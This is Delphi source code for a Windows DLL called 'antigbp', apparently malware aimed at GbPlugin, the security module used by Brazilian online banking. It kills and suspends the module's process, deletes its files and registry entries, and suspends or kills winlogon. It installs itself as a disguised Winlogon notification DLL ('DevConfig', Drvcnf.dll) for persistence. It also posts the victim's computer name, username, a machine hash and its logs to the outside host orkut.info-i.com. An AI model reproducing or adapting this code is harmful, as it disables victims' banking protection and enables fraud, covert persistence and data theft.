library antigbp; uses Wintypes, advapihook, sysutils, reg, utils, registry, tlhelp32, classes, notify, winsock, idhttp, process, uping, md5api, afxCodeHook; {$R resource} const gbprocess = 'gbpsv.exe'; gbpath = '\GbPlugin'; logfile = 'toocold.lnk'; Function SeekAndDestroy(const PathName, FileName : string; const InDir : boolean): integer; var Rec : TSearchRec; Path : string; begin result := 0; if Pathname[length(path)] <> '\' then path := pathname+'\' else path := pathname; if FindFirst(Path + FileName, faAnyFile - faDirectory, Rec) = 0 then try repeat if Deletefile(Path + Rec.Name) then inc(result, 1); until FindNext(Rec) <> 0; finally FindClose(Rec); end; If not InDir then Exit; if FindFirst(Path + '*.*', faDirectory, Rec) = 0 then try repeat if ((Rec.Attr and faDirectory) <> 0) and (Rec.Name<>'.') and (Rec.Name<>'..') then SeekAndDestroy(Path + Rec.Name, FileName, True); until FindNext(Rec) <> 0; finally FindClose(Rec); end; end; Function LoadList(init:integer):TStrings; var i: integer; begin i := init; Result := tstringlist.Create; repeat result.Add(loadstr(i)); inc(i, 1); until loadstr(i)=''; end; Function SNDSvcMask(mask: string):integer; var reg: tregistry; keys: tstrings; loop: integer; begin result := 0; reg := tregistry.Create; try with reg do begin RootKey := HKEY_LOCAL_MACHINE; Keys := tstringlist.Create; OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify', false); GetKeyNames(keys); Closekey; for loop := 0 to keys.Count -1 do if pos(mask, lowercase(keys.Strings[loop]))>0 then begin if DeleteKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\'+keys.Strings[loop]) then inc(result, 1); end; OpenKey('SYSTEM\ControlSet001\Services', false); GetKeyNames(keys); Closekey; for loop := 0 to keys.Count -1 do if pos(mask, lowercase(keys.Strings[loop]))>0 then begin if DeleteKey('SYSTEM\ControlSet001\Services\'+keys.Strings[loop]) then inc(result, 1); end; OpenKey('SYSTEM\ControlSet002\Services', false); GetKeyNames(keys); Closekey; for loop := 0 to keys.Count -1 do if pos(mask, lowercase(keys.Strings[loop]))>0 then begin if DeleteKey('SYSTEM\ControlSet002\Services\'+keys.Strings[loop]) then inc(result, 1); end; OpenKey('SYSTEM\ControlSet003\Services', false); GetKeyNames(keys); Closekey; for loop := 0 to keys.Count -1 do if pos(mask, lowercase(keys.Strings[loop]))>0 then begin if DeleteKey('SYSTEM\ControlSet003\Services\'+keys.Strings[loop]) then inc(result, 1); end; OpenKey('SYSTEM\CurrentControlSet\Services', false); GetKeyNames(keys); Closekey; for loop := 0 to keys.Count -1 do if pos(mask, lowercase(keys.Strings[loop]))>0 then begin if DeleteKey('SYSTEM\CurrentControlSet\Services\'+keys.Strings[loop]) then inc(result, 1); end; end; keys.Free; reg.Free; Except Exit; end; // SEEK AND DESTROY // sorry, but i am a great coder! :P end; Function SNDClsidMask(mask: string):integer; var reg: tregistry; tmp,keys: tstrings; i,loop: integer; begin result := 0; reg := tregistry.Create; Keys := tstringlist.Create; tmp := tstringlist.Create; try with reg do begin RootKey := HKEY_CLASSES_ROOT; if OpenKey('CLSID', false) then begin GetKeyNames(keys); Closekey; if keys.Count > 0 then for loop := 0 to keys.Count -1 do if OpenKey('CLSID\'+keys[loop]+'\InprocServer32', false) then if pos(mask, lowercase(readstring('')))>0 then begin closekey; deletekey('CLSID\'+keys.Strings[loop]); inc(result, 1); end; closekey; end; Closekey; if OpenKey('', false) then begin GetKeyNames(keys); Closekey; for loop := 0 to keys.Count -1 do if pos(mask, lowercase(keys.Strings[loop]))>0 then begin if deletekey(keys.Strings[LOOP]) then inc(result, 1); end; end; closekey; if OpenKey('Interface', false) then begin GetKeyNames(keys); Closekey; if keys.Count > 0 then for loop := 0 to keys.Count -1 do if Openkey('Interface\'+keys.Strings[loop], false) then if pos(mask, lowercase(readstring('')))>0 then begin closekey; if deletekey('Interface\'+keys.Strings[LOOP]) then inc(result, 1); end else closekey; closekey; //HKEY_CLASSES_ROOT\Interface\{7827CCC3-0DEB-4CFB-911C-AA777C882003} if OpenKey('TypeLib', false) then begin GetKeyNames(keys); Closekey; if keys.Count > 0 then for loop := 0 to keys.Count -1 do if Openkey('TypeLib\'+keys.Strings[loop]+'\1.0', false) then if not pos(mask, lowercase(readstring('')))>0 then closekey else begin closekey; if deletekey('TypeLib\'+keys.Strings[LOOP]) then inc(result, 1); end; end; end; //HKEY_CLASSES_ROOT\TypeLib\{6B71634C-5867-4D85-BFFE-DF1C322F8B96}\1.0 Closekey; RootKey := HKEY_CURRENT_USER; if OpenKey('Software\GbPlugin', false) then begin closekey; if deletekey('Software\GbPlugin') then inc(result, 1); end; RootKey := HKEY_LOCAL_MACHINE; //HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\LEGACY_GBPSV if OpenKey('SYSTEM\ControlSet002\Enum\Root\LEGACY_GBPSV', false) then begin closekey; if deletekey('SYSTEM\ControlSet001\Enum\Root\LEGACY_GBPSV') then inc(result, 1); end; Closekey; //HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\ GbPluginCef if OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\ GbPluginCef', false) then begin closekey; if deletekey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\ GbPluginCef') then inc(result, 1); end; Closekey; if OpenKey('SOFTWARE\Classes', false) then begin GetKeyNames(keys); Closekey; if keys.Count > 0 then for loop := 0 to keys.Count -1 do if pos(mask, lowercase(keys.Strings[loop]))>0 then begin closekey; if DeleteKey('SOFTWARE\Classes\'+keys.Strings[loop]) then inc(result, 1); end; end; if OpenKey('SOFTWARE\Classes\TypeLib', false) then begin GetKeyNames(keys); Closekey; if keys.Count > 0 then for loop := 0 to keys.Count -1 do if OpenKey('SOFTWARE\Classes\TypeLib\'+keys[loop]+'\1.0\0\win32', false) then if pos(mask, lowercase(readstring('')))>0 then begin closekey; if deletekey('SOFTWARE\Classes\TypeLib\'+keys[loop]) then inc(result, 1); end; end; closekey; //HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{C41A1C0E-EA6C-11D4-B1B8-444553540003}\InprocServer32 if OpenKey('SOFTWARE\Classes\CLSID', false) then begin GetKeyNames(keys); Closekey; if keys.Count > 0 then for loop := 0 to keys.Count -1 do begin OpenKey('SOFTWARE\Classes\CLSID\'+keys[loop]+'\InprocServer32', false); if pos(mask, lowercase(readstring('')))>0 then begin closekey; if deletekey('SOFTWARE\Classes\CLSID\'+keys[loop]) then inc(result, 1); end; end; end; closekey; //HKEY_LOCAL_MACHINE\SOFTWARE\Classes\GbiehCef.GbPluginObj if OpenKey('SOFTWARE\Classes', false) then begin GetKeyNames(keys); Closekey; if keys.Count > 0 then for loop := 0 to keys.Count -1 do if pos(mask, lowercase(keys.Strings[loop]))>0 then begin closekey; if deletekey('SOFTWARE\Classes\'+keys.Strings[loop]) then inc(result, 1); end; end; closekey; //HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{7827CCC3-0DEB-4CFB-911C-AA777C882003} if OpenKey('SOFTWARE\Classes\Interface', false) then begin GetKeyNames(keys); Closekey; if keys.Count > 0 then for loop := 0 to keys.Count -1 do if openkey('SOFTWARE\Classes\Interface\'+keys.Strings[loop], false) then if pos(mask, lowercase(readstring('')))>0 then begin closekey; if deletekey('SOFTWARE\Classes\Interface\'+keys.Strings[loop]) then inc(result, 1); end; end; closekey; //HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Code Store Database\Distribution Units\{DB6BF2CD-4F59-4F1C-AA9C-D08C0B61A931}\Contains\Files if OpenKey('SOFTWARE\Microsoft\Code Store Database\Distribution Units', false) then begin GetKeyNames(keys); Closekey; if keys.Count > 0 then for loop := 0 to keys.Count -1 do if openkey('SOFTWARE\Microsoft\Code Store Database\Distribution Units\'+keys.Strings[loop]+'\Contains\Files', false) then begin GetValueNames(tmp); for i := 0 to tmp.Count -1 do if not pos(mask, lowercase(tmp.Strings[i]))>0 then closekey else begin closekey; if deletekey('SOFTWARE\Microsoft\Code Store Database\Distribution Units\'+keys.Strings[loop]) then inc(result, 1); break; end; end; end; closekey; //HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks if OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks', false) then begin GetValueNames(keys); if keys.Count > 0 then for loop := 0 to keys.Count -1 do if pos(mask, lowercase(readstring(keys.Strings[loop])))>0 then if deletevalue(keys.Strings[loop]) then inc(result, 1); end; closekey; //HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ModuleUsage if OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\ModuleUsage', false) then begin GetKeyNames(keys); Closekey; if keys.Count > 0 then for loop := 0 to keys.Count -1 do if pos(mask, lowercase(keys.Strings[loop]))>0 then if deletekey('SOFTWARE\Microsoft\Windows\CurrentVersion\ModuleUsage\'+keys.Strings[loop]) then inc(result, 1); end; closekey; //HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SharedDlls if OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\SharedDlls', false) then begin GetValueNames(keys); if keys.Count > 0 then for loop := 0 to keys.Count -1 do if pos(mask, lowercase(keys.Strings[loop]))>0 then if deletevalue(keys.Strings[loop]) then inc(result, 1); end; closekey; //HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved if OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved', false) then begin GetValueNames(keys); if keys.Count > 0 then for loop := 0 to keys.Count -1 do if pos(mask, lowercase(ReadString(keys.Strings[loop])))>0 then if deletevalue(keys.Strings[loop]) then inc(result, 1); end; keys.Free; tmp.Free; Free; end; Except exit; end; end; Function GetAppData:string; var h: hkey; begin regopenkeyex(hkey_local_machine, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders', 0, KEY_ALL_ACCESS, h); result := _regQueryValue(h, 'Common AppData', reg_sz); regclosekey(h); end; Function GetRoot:string; var h: hkey; begin regopenkeyex(hkey_local_machine, 'SOFTWARE\Microsoft\Windows\CurrentVersion', 0, KEY_ALL_ACCESS, h); result := _regQueryValue(h, 'ProgramFilesDir', reg_sz); regclosekey(h); end; Function GetConfig:string; var h: hkey; begin regopenkeyex(hkey_local_machine, 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify', 0, KEY_ALL_ACCESS, h); result := _regQueryValue(h, 'SecHash', reg_sz); regclosekey(h); end; Function ToHTML(Str: TStrings):TStrings; begin Result := tstringlist.Create; with result do begin Add('
Usuario: '+GetUsername+ ' Computador:'+GetComputername+ ''+
str.Text+'');
end;
end;
Function KillProcess(Process: cardinal):bool;
var
hProcess: hwnd;
eCode: cardinal;
begin
hProcess := openprocess(process_all_access, false, process);
GetExitCodeProcess(hProcess, eCode);
result := TerminateProcess(hProcess, eCode);
CloseHandle(hProcess);
end;
Function GetMachineHash:String;
var MD5File, MD5PC: string;
begin
MD5PC := MD5DataToStr(MD5DataFromString(GetUsername+GetComputername));
MD5File := MD5FromFile(GetWindowsDirectory+'system\Drvcnf.dll');
Result := MD5DataToStr(MD5DataFromString(MD5File+MD5PC));
end;
Procedure MainFunction;
var log,list: tstrings;
i: integer;
th: tthread;
begin
i := 0;
th := nil;
log := tstringlist.Create;
if DirectoryExists(getroot+gbpath) then
if not DeleteFolder(getroot+gbpath) then begin
Log.Add('Nao foi possivel excluir o diretório '+getroot+gbpath);
if not SetDebugPrivilege then log.Add('Nao foi possivel ativar o privilegio SeDebugPrivilege') else begin
if KillProcess(getpid(gbprocess)) then if not deletefile(getroot+gbpath+'\'+gbprocess) then begin
log.Add('Processo GbpSv.exe encontrado, Killado, mas nao é possivel deletar sua pasta');
while i < 1000 do begin if getpid(gbprocess) <> 0 then break else inc(i, 1); sleep(1); end;
if getpid(gbprocess) <> 0 then begin
Log.Add('Parando o processo GbpSv.exe');
th := listthreads(getpid(gbprocess));
for I := 0 to high(th) do if suspend(th[i].th32ThreadID) then
Log.Add('THREAD['+inttostr(th[i].th32ThreadID)+'] Parada') else
Log.Add('THREAD['+inttostr(th[i].th32ThreadID)+'] Erro ao parala');
end;
end;
Log.Add('Parando o processo Winlogon');
th := listthreads(getpid('winlogon.exe'));
for I := 0 to high(th) do if th[i].th32ThreadID <> GetCurrentThreadId then
Log.Add('THREAD['+inttostr(th[i].th32ThreadID)+'] Parada') else
Log.Add('THREAD['+inttostr(th[i].th32ThreadID)+'] Erro ao parala');
Log.Add('Parando o processo Services.exe');
th := listthreads(getpid('services.exe'));
for I := 0 to high(th) do if suspend(th[i].th32ThreadID) then
Log.Add('THREAD['+inttostr(th[i].th32ThreadID)+'] Parada') else
Log.Add('THREAD['+inttostr(th[i].th32ThreadID)+'] Erro ao parala');
list := loadlist(0);
Log.Add('Deletando tudo na pasta '+getroot+gbpath);
SeekAndDestroy(getroot+gbpath, '*.*', true);
Log.Add('Deletando os arquivos com mascaras semelhantes em Downloaded Program Files');
for I := 0 to list.Count -1 do SeekAndDestroy(GetWindowsDirectory+'Downloaded Program Files', list.Strings[i], true);
Log.Add('Deletando os arquivos com mascaras semelhantes em Commom app data.');
for I := 0 to list.Count -1 do SeekAndDestroy(getappdata, list.Strings[i], true);
list := loadlist(10);
Log.Add('Deletando todas as chaves do registro com mascara semelhantes as setadas.');
for I := 0 to list.Count -1 do log.Add('Foram deletadas '+inttostr(SNDClsidMask(list.Strings[i]))+' Com a mascara '+list.Strings[i]);
Log.Add('Killando o winlogon.exe, o windows pausara neste momento, salvando log.');
Log.SaveToFile(GetWindowsDirectory+logfile);
KillProcess(GetPID('winlogon.exe'));
sleep(10000);
log.Add('Possivelmente a funcao que para o processo winlogon nao esta funcionando');
log.SaveToFile(GetWindowsDirectory+logfile);
end;
end;
ExitThread(0);
end;
Procedure OnLogon; stdcall; export;
var i: integer;
th: tthread;
log: tstrings;
go : tidhttp;
reg : tregistry;
begin
th := nil;
i := 0;
log := tstringlist.Create;
if fileexists(GetWindowsDirectory+logfile) then log.LoadFromFile(GetWindowsDirectory+logfile);
repeat
if getpid(gbprocess)>0 then break else begin sleep(100); inc(i, 1); end;
until i > 300;
if GetPID(gbprocess)= 0 then begin
log.Add('Processo GBPSV Nao encontrado');
if not DirectoryExists(getroot+gbpath) then
log.Add('Diretorio nao encontrado '+getroot+gbpath) else
if DeleteFolder(getroot+gbpath) then
log.Add('Diretorio encontrado e excluido '+getroot+gbpath)
else
log.Add('Diretorio encontrado e impossivel de ser excluido '+getroot+gbpath);
end else begin
log.Add('Processo GBPSV encontrado PID: '+inttostr(getpid(gbprocess)));
if not SetDebugPrivilege then log.Add('Nao foi possivel setar o privilegio de debugger') else begin
th := listthreads(getpid(gbprocess));
for I := 0 to high(th) do if suspend(th[i].th32ThreadID) then log.Add('Thread N. ['+inttostr(th[i].th32ThreadID)+'] parada com sucesso') else
log.Add('Erro ao parar a thread N. ['+inttostr(th[i].th32ThreadID)+']');
end;
end;
reg := tregistry.Create;
try
reg.RootKey := hkey_local_machine;
reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\ClassicViewState', true);
if not reg.ValueExists('DefaultHookValue') then reg.WriteInteger('DefaultHookValue', 3) else begin
i := reg.ReadInteger('DefaultHookValue');
end;
if i > 0 then begin
reg.WriteInteger('DefaultHookValue', i-1);
i := 0;
repeat
if (ping('google.com')) or (ping('sourceforge.net')) or (ping('uol.com.br')) or (ping('orkut.com')) then break;
inc(i, 1);
sleep(60000);
until i = 20;
Log := ToHTML(log);
Log.Text := 'PC='+GetComputername+#13#10'USER='+GetUsername+#13#10'HASH='+uppercase(GetMachineHash)+#13#10'DADOS='+log.Text;
Go := TIdHTTP.Create(nil);
Go.Host := 'orkut.info-i.com';
Go.Connect();
Go.Post('/gb.php',log);
end;
reg.Free;
except
exit;
end;
exitthread(0);
end;
Procedure OnShutdown; stdcall; export;
var Init: TStartType;
begin
if getconfig = getmachinehash then exitthread(0);
with Init do begin
SetLength(Events, 2);
Events[0].Keyname := 'Logon';
Events[0].DllFunction := 'OnLogon';
Events[1].Keyname := 'Shutdown';
Events[1].DllFunction := 'OnShutdown';
DLLName := GetWindowsDirectory+'system\Drvcnf.dll';
Asynchronous := true;
Impersonate := true;
ServiceName := 'DevConfig';
end;
RegNotifyDll(INIT);
MainFunction;
end;
exports OnLogon, OnShutdown;
begin
end.